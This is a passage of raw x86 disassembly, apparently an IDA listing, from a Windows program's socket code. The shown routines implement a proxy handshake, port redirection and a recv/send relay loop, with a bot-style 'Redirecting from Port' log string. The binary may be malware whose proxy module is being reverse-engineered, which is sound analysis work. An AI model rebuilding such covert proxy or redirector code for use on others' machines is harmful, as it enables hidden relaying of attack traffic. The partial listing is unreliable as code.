[esp+52Ch+var_50C] lea ecx, [esp+52Ch+var_504] push eax push 0 push 0 push ecx push 1 mov [esp+540h+var_500], 0FFFFFFFFh mov [esp+540h+var_504], 1 nop call near ptr 71AB2DC0h push 0 push 0 push 0 lea edx, [esp+538h+var_400] push 3FFh push edx push edi call near ptr 71AB2D0Fh nop push 10h mov esi, eax push ebx push 0 lea eax, [esp+538h+var_400] push esi push eax push 0FFFFFFFFh call ebp ; sendto test esi, esi jbe short loc_42A766 cmp esi, 0FFFFFFFFh jnz short loc_42A709 loc_42A766: ; CODE XREF: sub_42A5F0+16Fj mov esi, dword_50FC88 push edi call esi ; closesocket push 0FFFFFFFFh call esi ; closesocket pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 51Ch retn 0Ch ; --------------------------------------------------------------------------- loc_42A782: ; CODE XREF: sub_42A5F0+35j ; sub_42A5F0+86j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 51Ch retn 0Ch sub_42A5F0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42A810 proc near ; CODE XREF: sub_42B2D0:loc_4013A2j var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = byte ptr -81Ch var_81A = word ptr -81Ah var_818 = dword ptr -818h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_7E8 = dword ptr -7E8h var_7E4 = dword ptr -7E4h var_708 = byte ptr -708h var_707 = byte ptr -707h var_705 = dword ptr -705h var_604 = word ptr -604h var_600 = dword ptr -600h var_5F0 = byte ptr -5F0h var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 4 sub esp, 82Ch push ebx push ebp push esi mov esi, [esp+838h+arg_0] cmp esi, 0FFFFFFFFh push edi mov ebp, ecx mov [esp+83Ch+var_828], 0 mov [esp+83Ch+var_82C], 0Bh mov [esp+83Ch+var_808], esi mov [esp+83Ch+var_80C], 1 jz loc_42AACA mov eax, [ebp-8] mov ecx, [eax+4] mov ax, [ecx+ebp-2] cmp ax, 1 jnz loc_42ABE6 mov edi, dword_50FC80 lea edx, [esp+83Ch+var_82C] push edx push 0 lea eax, [esp+844h+var_80C] push 0 push eax push 1 call edi ; select test eax, eax jle loc_42AC73 lea ecx, [esp+83Ch+var_80C] push ecx push esi call sub_436F60 ; --------------------------------------------------------------------------- dd 840FC085h, 3E3h, 16A066Ah, 0E890026Ah, 716892F5h, 89FFF883h dd 0F1C2444h, 22184h, 901D8B00h, 6A0050FCh, 24948D00h dd 240h, 5652026Ah, 0BC80D3FFh, 23C24h, 850F0500h, 1FEh dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h dd 256248Ch, 0D3FF0000h, 26A006Ah, 44533468h, 7BE85600h dd 90716899h, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h dd 282444C7h, 0 ; --------------------------------------------------------------------------- mov [esp+82Ch+var_808], 7 mov [esp+82Ch+var_7E4], esi mov [esp+82Ch+var_7E8], 1 call edi ; select xor eax, eax lea edx, [esp+82Ch+var_5F0] push eax mov ecx, 20h lea edi, [esp+830h+var_5F0] push 2 push edx push esi rep stosd call ebx ; socket cmp byte ptr [esp+83Ch+var_600], 1 jnz loc_42AACA movsx eax, byte ptr [esp+83Ch+var_600+1] push 0 lea ecx, [esp+840h+var_200] push eax push ecx push esi call ebx ; socket movsx edx, byte ptr [esp+83Ch+var_600+1] push 0 lea eax, [esp+840h+var_600] push 1 push eax push esi mov [esp+edx+84Ch+var_200], 0 call ebx ; socket movsx ecx, byte ptr [esp+83Ch+var_600] push 0 lea edx, [esp+840h+var_100] push ecx push edx push esi call ebx ; socket movsx eax, byte ptr [esp+83Ch+var_600] mov ecx, [ebp-8] mov [esp+eax+83Ch+var_100], 0 mov ecx, [ecx+4] add ecx, ebp call sub_4017E4 mov edi, eax lea ecx, [esp+83Ch+var_200] loc_42A9DB: ; CODE XREF: sub_42A810+1E9j mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_42A9FF test al, al jz short loc_42A9FB mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_42A9FF add ecx, 2 add edi, 2 test al, al jnz short loc_42A9DB loc_42A9FB: ; CODE XREF: sub_42A810+1D5j xor eax, eax jmp short loc_42AA04 ; --------------------------------------------------------------------------- loc_42A9FF: ; CODE XREF: sub_42A810+1D1j ; sub_42A810+1DFj sbb eax, eax sbb eax, 0FFFFFFFFh loc_42AA04: ; CODE XREF: sub_42A810+1EDj test eax, eax jz short loc_42AA61 mov eax, [ebp-8] mov ecx, [eax+4] lea ecx, [ecx+ebp+15h] call sub_4017E4 lea edi, [esp+83Ch+var_100] loc_42AA1E: ; CODE XREF: sub_42A810+22Cj mov dl, [edi] mov cl, dl cmp dl, [eax] jnz short loc_42AA42 test cl, cl jz short loc_42AA3E mov dl, [edi+1] mov cl, dl cmp dl, [eax+1] jnz short loc_42AA42 add edi, 2 add eax, 2 test cl, cl jnz short loc_42AA1E loc_42AA3E: ; CODE XREF: sub_42A810+218j xor eax, eax jmp short loc_42AA47 ; --------------------------------------------------------------------------- loc_42AA42: ; CODE XREF: sub_42A810+214j ; sub_42A810+222j sbb eax, eax sbb eax, 0FFFFFFFFh loc_42AA47: ; CODE XREF: sub_42A810+230j test eax, eax jz short loc_42AA61 push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42AA61: ; CODE XREF: sub_42A810+1F6j ; sub_42A810+239j mov edi, dword_50FC8C push 0 push 2 push offset dword_445330 push esi call edi ; send lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 nop call near ptr 71AB2DC0h lea edx, [esp+83Ch+var_80C] push edx push esi call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jz short loc_42AACA push 0 lea eax, [esp+840h+var_708] push 4 push eax push esi call ebx ; socket mov eax, [esp+83Ch+var_705] and eax, 0FFh dec eax jz short loc_42AB31 sub eax, 2 jz short loc_42AAD9 dec eax loc_42AAC8: ; CODE XREF: sub_42A810+31Fj jnz short loc_42AB40 loc_42AACA: ; CODE XREF: sub_42A810+32j ; sub_42A810+154j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42AAD9: ; CODE XREF: sub_42A810+2B5j push 0 lea ecx, [esp+840h+var_600] push 1 push ecx push esi call ebx ; socket movsx edx, byte ptr [esp+83Ch+var_600] push 0 lea eax, [esp+840h+var_705+1] push edx push eax push esi call ebx ; socket movsx ecx, byte ptr [esp+83Ch+var_600] lea edx, [esp+83Ch+var_600] lea eax, [esp+83Ch+var_705+1] mov byte ptr [esp+ecx+83Ch+var_705+1], 0 mov ecx, [ebp-8] push edx push eax mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_40174E test al, al jmp short loc_42AAC8 ; --------------------------------------------------------------------------- loc_42AB31: ; CODE XREF: sub_42A810+2B0j push 0 lea eax, [esp+840h+var_600] push 4 push eax push esi call ebx ; socket loc_42AB40: ; CODE XREF: sub_42A810:loc_42AAC8j push 0 lea ecx, [esp+840h+var_604] push 2 push ecx push esi call ebx ; socket cmp [esp+83Ch+var_707], 1 jnz loc_42AACA mov ebx, [esp+83Ch+var_820] mov dx, [esp+83Ch+var_604] mov eax, [esp+83Ch+var_600] lea ecx, [esp+83Ch+var_81C] push 10h push ecx push ebx mov word ptr [esp+848h+var_81C], 2 mov [esp+848h+var_81A], dx mov [esp+848h+var_818], eax nop call near ptr 71AB406Ah test eax, eax jnz loc_42AACA push eax push 4 push offset dword_445328 push esi call edi ; send push 0 lea edx, [esp+840h+var_600] push 4 push edx push esi call edi ; send push 0 lea eax, [esp+840h+var_604] push 2 push eax push esi call edi ; send mov ecx, [ebp-8] push ebx push esi mov edx, [ecx+4] lea ecx, [edx+ebp-8] call sub_4020C2 push ebx nop call near ptr 71AB9639h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 ; --------------------------------------------------------------------------- loc_42ABE6: ; CODE XREF: sub_42A810+47j cmp ax, 2 jnz loc_42AC73 mov ebx, dword_50FC80 loc_42ABF6: ; CODE XREF: sub_42A810+461j lea eax, [esp+83Ch+var_82C] lea ecx, [esp+83Ch+var_80C] push eax push 0 push 0 push ecx push 1 mov [esp+850h+var_808], esi mov [esp+850h+var_80C], 1 call ebx ; select lea edx, [esp+83Ch+var_824] lea eax, [esp+83Ch+var_81C] push edx push eax push 0 lea ecx, [esp+848h+var_600] push 3FFh push ecx push esi mov [esp+854h+var_824], 10h call near ptr 71AB2D0Fh nop mov ecx, [ebp-8] mov edi, eax lea edx, [esp+83Ch+var_600] push edi push edx mov edx, [ecx+4] lea eax, [esp+844h+var_81C] push eax lea ecx, [edx+ebp-8] call sub_401C1C test edi, edi jz short loc_42AC73 cmp edi, 0FFFFFFFFh jz short loc_42AC73 lea eax, [esp+83Ch+var_80C] push eax push esi call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_42ABF6 loc_42AC73: ; CODE XREF: sub_42A810+67j ; sub_42A810+3DAj ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 82Ch retn 4 sub_42A810 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42ADB0 proc near ; CODE XREF: sub_401F19j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch sub esp, 10h push esi mov esi, ecx mov eax, [esi+32h] test eax, eax jz short loc_42ADC4 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42ADC4: ; CODE XREF: sub_42ADB0+Bj xor eax, eax mov ax, [esi+6] dec eax jz short loc_42ADD6 dec eax jz short loc_42ADF8 mov word ptr [esi+6], 1 loc_42ADD6: ; CODE XREF: sub_42ADB0+1Bj mov eax, 1 mov ecx, 6 loc_42ADE0: ; CODE XREF: sub_42ADB0+52j push ecx push eax push 2 nop call near ptr 71AB3B91h test eax, eax mov [esi+32h], eax jnz short loc_42AE04 xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42ADF8: ; CODE XREF: sub_42ADB0+1Ej mov eax, 2 mov ecx, 11h jmp short loc_42ADE0 ; --------------------------------------------------------------------------- loc_42AE04: ; CODE XREF: sub_42ADB0+3Fj mov ax, [esi+4] mov [esp+14h+var_10], 2 push eax mov [esp+18h+var_C], 0 nop call near ptr 71AB2B66h mov edx, [esi+32h] lea ecx, [esp+14h+var_10] push 10h push ecx push edx mov [esp+20h+var_E], ax call near ptr 71AB3E00h nop test eax, eax jz short loc_42AE49 mov eax, [esi+32h] push eax nop call near ptr 71AB9639h xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42AE49: ; CODE XREF: sub_42ADB0+86j cmp word ptr [esi+6], 1 jnz short loc_42AE71 mov ecx, [esi+32h] push 3 push ecx call near ptr 71AB88D3h nop test eax, eax jz short loc_42AE71 mov edx, [esi+32h] push edx nop call near ptr 71AB9639h xor al, al pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_42AE71: ; CODE XREF: sub_42ADB0+9Ej ; sub_42ADB0+AEj mov al, 1 pop esi add esp, 10h retn sub_42ADB0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42AEC0 proc near ; CODE XREF: sub_401DBBj var_24 = byte ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_42AEC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov edi, ecx mov [ebp+var_10], esp mov ax, [edi+6] cmp ax, 1 jnz short loc_42AF5A mov eax, [edi+32h] mov [ebp+var_14], 10h test eax, eax jz short loc_42AF41 mov ebx, dword_50FC84 lea ecx, [ebp+var_14] lea edx, [ebp+var_24] push ecx push edx push eax call ebx ; accept mov esi, eax test esi, esi jnz short loc_42AF26 loc_42AF12: ; CODE XREF: sub_42AEC0+64j mov edx, [edi+32h] lea eax, [ebp+var_14] lea ecx, [ebp+var_24] push eax push ecx push edx call ebx ; accept mov esi, eax test esi, esi jz short loc_42AF12 loc_42AF26: ; CODE XREF: sub_42AEC0+50j mov eax, [edi] push esi mov ecx, edi mov [ebp+var_4], 0 call dword ptr [eax] push esi mov bl, al call near ptr 71AB9639h nop test bl, bl jnz short loc_42AF7A loc_42AF41: ; CODE XREF: sub_42AEC0+39j ; sub_42AEC0+9Ej ... xor al, al mov ecx, [ebp+var_C] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_42AF54: ; DATA XREF: ___:00441F74o mov eax, offset loc_42AF41 retn ; --------------------------------------------------------------------------- loc_42AF5A: ; CODE XREF: sub_42AEC0+2Bj cmp ax, 2 jnz short loc_42AF41 mov eax, [edi+32h] mov edx, [edi] push eax mov ecx, edi call dword ptr [edx] mov ecx, [edi+32h] mov bl, al push ecx nop call near ptr 71AB9639h test bl, bl jz short loc_42AF41 loc_42AF7A: ; CODE XREF: sub_42AEC0+7Fj mov ecx, [ebp+var_C] pop edi pop esi mov al, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_42AEC0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42AFD0: ; CODE XREF: ___:00401F78j push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_43BB90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, [ebp+8] push edi mov [ebp-10h], esp mov dword ptr [ebp-4], 0 mov eax, [esi] mov ecx, [eax+4] mov eax, [ecx+esi+32h] add ecx, esi push eax mov edx, [ecx] call dword ptr [edx] mov ecx, [esi] mov edx, [ecx+4] mov eax, [edx+esi+32h] push eax nop call near ptr 71AB9639h loc_42B019: ; DATA XREF: ___:loc_42B031o mov ecx, [ebp-0Ch] pop edi pop esi mov eax, 1 mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_42B031: ; DATA XREF: ___:00441FD4o mov eax, offset loc_42B019 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B060 proc near ; CODE XREF: sub_401C17j var_19C = byte ptr -19Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h push 0FFFFFFFFh push offset SEH_42B060 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 194h lea eax, [esp+1A0h+var_19C] mov [esp+1A0h+var_4], 1 push eax push 2 call near ptr 71AB664Dh nop test eax, eax jz short loc_42B0D7 loc_42B097: ; CODE XREF: ___:0042B166j lea ecx, [esp+1A0h+arg_4] mov byte ptr [esp+1A0h+var_4], 0 call sub_401226 lea ecx, [esp+1A0h+arg_1C] mov [esp+1A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1A0h+var_C] mov large fs:0, ecx add esp, 1A0h retn ; --------------------------------------------------------------------------- loc_42B0D7: ; CODE XREF: sub_42B060+35j push 42h call sub_4367FA sub_42B060 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+0], eax test eax, eax mov byte ptr [esp+19Ch], 2 jz short loc_42B0FC push 1 mov ecx, eax call sub_4014E7 jmp short loc_42B0FE ; --------------------------------------------------------------------------- loc_42B0FC: ; CODE XREF: ___:0042B0EFj xor eax, eax loc_42B0FE: ; CODE XREF: ___:0042B0FAj mov dword_50E3C8, eax mov ecx, [eax] mov byte ptr [esp+19Ch], 1 mov edx, [ecx+4] mov cx, [esp+1A4h] mov [edx+eax+4], cx mov eax, dword_50E3C8 lea edx, [esp+1A8h] mov ecx, [eax] push edx mov edx, [ecx+4] lea ecx, [edx+eax+8] call sub_40200E lea eax, [esp+1C0h] push eax mov eax, dword_50E3C8 mov ecx, [eax] mov edx, [ecx+4] lea ecx, [edx+eax+1Dh] call sub_40200E mov eax, dword_50E3C8 mov ecx, [eax] mov ecx, [ecx+4] add ecx, eax call sub_401F19 test al, al jz loc_42B097 loc_42B16C: ; CODE XREF: ___:0042B17Dj mov eax, dword_50E3C8 mov edx, [eax] mov ecx, [edx+4] add ecx, eax call sub_401DBB jmp short loc_42B16C ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B1D0 proc near ; CODE XREF: sub_4014E7j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi test eax, eax mov esi, ecx mov [esp+8+var_4], 0 jz short loc_42B1F2 lea ecx, [esi+8] mov dword ptr [esi], offset dword_43E190 call sub_4014AB loc_42B1F2: ; CODE XREF: sub_42B1D0+12j mov eax, [esi] mov ecx, [eax+4] mov dword ptr [ecx+esi], offset off_43E18C mov edx, [esi] mov eax, [edx+4] lea ecx, [eax-8] mov [eax+esi-4], ecx mov eax, esi pop esi pop ecx retn 4 sub_42B1D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B240 proc near ; CODE XREF: sub_4014ABj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42B240 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8] call sub_401424 lea ecx, [esi+1Dh] mov [esp+14h+var_4], 0 call sub_401424 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E19C mov dword ptr [esi+32h], 0 mov word ptr [esi+6], 1 mov word ptr [esi+4], 0 mov dword ptr [esi+36h], 1000h mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42B240 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B2D0 proc near ; CODE XREF: sub_4020D1j ; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES sub ecx, [ecx-4] jmp loc_4013A2 sub_42B2D0 endp ; --------------------------------------------------------------------------- align 10h loc_42B2E0: ; CODE XREF: ___:00401352j push 0FFFFFFFFh push offset loc_43BC08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi call sub_401F82 push offset off_443D70 lea ecx, [esi+11h] mov dword ptr [esp+14h], 0 mov dword ptr [esi], offset off_43E1A0 call sub_4015D7 mov ecx, [esp+8] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B350 proc near ; CODE XREF: ___:00401398j sub_401F41j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4011BD test [esp+4+arg_0], 1 jz short loc_42B368 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B368: ; CODE XREF: sub_42B350+Dj mov eax, esi pop esi retn 4 sub_42B350 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B380 proc near ; CODE XREF: sub_4011BDj jmp sub_40179E sub_42B380 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B3A0 proc near ; CODE XREF: sub_40134Dj var_10 = byte ptr -10h mov eax, 1000h call sub_436840 push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+99h] mov cl, [eax+11Ch] test cl, cl jz short loc_42B42C mov ebx, dword_50FC90 mov ebp, dword_50FC8C loc_42B3CC: ; CODE XREF: sub_42B3A0+8Aj mov edx, [esi+9Dh] mov ecx, 400h xor eax, eax lea edi, [esp+10h] rep stosd push eax mov eax, [edx+0A5h] lea ecx, [esp+14h] push 1000h push ecx push eax call ebx ; recv test eax, eax jz short loc_42B42C cmp eax, 0FFFFFFFFh jz short loc_42B42C mov edx, [esi+9Dh] push 0 push eax lea ecx, [esp+28h+var_10] mov eax, [edx+0A1h] push ecx push eax call ebp ; send test eax, eax jz short loc_42B42C cmp eax, 0FFFFFFFFh jz short loc_42B42C mov ecx, [esi+99h] mov al, [ecx+11Ch] test al, al jnz short loc_42B3CC loc_42B42C: ; CODE XREF: sub_42B3A0+1Ej ; sub_42B3A0+55j ... mov edx, [esi+9Dh] pop edi pop esi pop ebp mov eax, [edx+0A1h] pop ebx cmp eax, 0FFFFFFFFh jz short loc_42B448 push eax call near ptr 71AB9639h nop loc_42B448: ; CODE XREF: sub_42B3A0+9Fj add esp, 1000h retn sub_42B3A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B480 proc near ; CODE XREF: sub_401663j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_42B480 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F82 push offset off_443D70 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43E1B0 call sub_4015D7 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_42B480 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B4F0 proc near ; CODE XREF: ___:004013A7j sub_401B22j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401217 test [esp+4+arg_0], 1 jz short loc_42B508 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B508: ; CODE XREF: sub_42B4F0+Dj mov eax, esi pop esi retn 4 sub_42B4F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B520 proc near ; CODE XREF: sub_401217j jmp sub_40179E sub_42B520 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B540 proc near ; CODE XREF: sub_40152Dj var_50 = byte ptr -50h var_40 = byte ptr -40h var_30 = byte ptr -30h var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_C = byte ptr -0Ch var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, 1014h call sub_436840 push ebx push ebp push esi mov esi, ecx push edi or edi, 0FFFFFFFFh mov eax, [esi+99h] mov [esi+0A5h], edi mov cl, [eax+11Ch] test cl, cl jz loc_42B70A mov ebx, 1 push 6 push ebx push 2 call near ptr 71AB3B91h nop cmp eax, edi mov [esi+0A5h], eax jnz short loc_42B598 mov [esi+0A5h], edi pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42B598: ; CODE XREF: sub_42B540+45j mov dx, [esi+3Fh] xor ecx, ecx mov [esp+1Ch+var_8], ecx push edx mov [esp+20h+var_4], ecx mov word ptr [esp+20h+var_8], 2 mov [esp+20h], ecx mov [esp+20h+arg_0], ecx nop call near ptr 71AB2B66h lea ecx, [esi+43h] mov [esp+20h+var_A], ax call sub_4017E4 push eax call sub_40187F add esp, 4 cmp eax, edi mov [esp+20h+var_8], eax jnz short loc_42B5F2 mov eax, [esi+0A5h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42B5F2: ; CODE XREF: sub_42B540+98j mov edx, [esi+0A5h] lea ecx, [esp+20h+var_C] push 10h push ecx push edx nop call near ptr 71AB406Ah cmp eax, edi jnz short loc_42B622 mov eax, [esi+0A5h] push eax nop call near ptr 71AB9639h pop edi pop esi pop ebp pop ebx add esp, 1014h retn ; --------------------------------------------------------------------------- loc_42B622: ; CODE XREF: sub_42B540+C8j mov edx, [esi+0A1h] mov edi, dword_50FC50 lea ecx, [esp+2Ch+var_1C] mov [esp+2Ch+var_1C], ebx push ecx push 8004667Eh push edx call edi ; ioctlsocket mov ecx, [esi+0A5h] lea eax, [esp+38h+var_28] push eax push 8004667Eh push ecx mov [esp+44h+var_28], ebx call edi ; ioctlsocket mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jz loc_42B70A mov ebx, dword_50FC90 mov ebp, dword_50FC8C loc_42B676: ; CODE XREF: sub_42B540+1BAj mov ecx, [esi+0A5h] push 0 lea eax, [esp+48h+var_20] push 1000h push eax push ecx call ebx ; recv mov edi, eax test edi, edi jz short loc_42B70A jge short loc_42B6A0 nop call near ptr 71AB94DCh cmp eax, 2733h jnz short loc_42B702 loc_42B6A0: ; CODE XREF: sub_42B540+151j mov eax, [esi+0A1h] push 0 lea edx, [esp+58h+var_30] push edi push edx push eax call ebp ; send mov edx, [esi+0A1h] push 0 lea ecx, [esp+68h+var_40] push 1000h push ecx push edx call ebx ; recv mov edi, eax test edi, edi jz short loc_42B70A jge short loc_42B6DB nop call near ptr 71AB94DCh cmp eax, 2733h jnz short loc_42B702 loc_42B6DB: ; CODE XREF: sub_42B540+18Cj mov ecx, [esi+0A5h] push 0 lea eax, [esp+78h+var_50] push edi push eax push ecx call ebp ; send mov edx, [esi+99h] mov al, [edx+11Ch] test al, al jnz loc_42B676 jmp short loc_42B70A ; --------------------------------------------------------------------------- loc_42B702: ; CODE XREF: sub_42B540+15Ej ; sub_42B540+199j push 0Ah call near ptr 2811E0Eh nop loc_42B70A: ; CODE XREF: sub_42B540+27j ; sub_42B540+124j ... mov eax, [esi+0A1h] mov edi, dword_50FC88 cmp eax, 0FFFFFFFFh jz short loc_42B71E push eax call edi ; closesocket loc_42B71E: ; CODE XREF: sub_42B540+1D9j mov esi, [esi+0A5h] cmp esi, 0FFFFFFFFh jz short loc_42B72C push esi call edi ; closesocket loc_42B72C: ; CODE XREF: sub_42B540+1E7j pop edi pop esi pop ebp pop ebx add esp, 1014h retn sub_42B540 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9 dup(90h) db 80h dup(0CCh) db 6Ah ; j db 0FFh db 68h ; h db 48h ; H db 0BCh ; ¼ db 43h ; C db 0 db 64h ; d db 0A1h ; ¡ db 0 db 0 db 0 db 0 db 50h ; P db 64h ; d db 89h ; ‰ db 25h ; % db 0 db 0 db 0 db 0 db 51h ; Q db 56h ; V db 8Bh ; ‹ db 0F1h ; ñ db 89h ; ‰ db 74h ; t db 24h ; $ db 4 db 0E8h ; è db 0A0h ; db 67h ; g db 0FDh ; ý db 0FFh db 68h ; h db 70h ; p db 3Dh ; = db 44h ; D db 0 db 8Dh ; db 4Eh ; N db 11h db 0C7h ; Ç db 44h ; D db 24h ; $ db 14h db 0 db 0 db 0 db 0 db 0C7h ; Ç db 6 db 0C0h ; À db 0E1h ; á db 43h ; C db 0 db 0E8h ; è db 0DAh ; Ú db 5Dh ; ] db 0FDh ; ý db 0FFh db 8Bh ; ‹ db 4Ch ; L db 24h ; $ db 8 db 8Bh ; ‹ db 0C6h ; Æ db 5Eh ; ^ db 64h ; d db 89h ; ‰ db 0Dh db 0 db 0 db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 10h db 0C3h ; Ã db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42B830: ; CODE XREF: ___:loc_4015F0j ; ___:00401FAAj push esi mov esi, ecx call sub_401B8B test byte ptr [esp+8], 1 jz short loc_42B848 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_42B848: ; CODE XREF: ___:0042B83Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42B860 proc near ; CODE XREF: sub_401B8Bj jmp sub_40179E sub_42B860 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42B880 proc near ; CODE XREF: sub_4019E2j var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_42B880 push eax mov large fs:0, esp sub esp, 28h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+3Fh] lea ebx, [esi+43h] push eax mov ecx, ebx lea edi, [esi+11h] lea ebp, [esi+26h] call sub_4017E4 mov ecx, [esi+3Bh] push eax push ecx mov ecx, edi call sub_4017E4 push eax push offset aSRedirectingFr ; "[%s] Redirecting from Port %d to '%s:%d"... mov ecx, ebp call sub_4014D3 mov dl, [esi+98h] push eax mov al, [esi+97h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 24h push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+9Dh], eax jz loc_42BAB8 mov dx, [esi+3Bh] xor ecx, ecx mov [esp+44h+var_2C], ecx push edx mov [esp+48h+var_28], ecx mov word ptr [esp+48h+var_2C], 2 mov [esp+48h+var_24], ecx mov 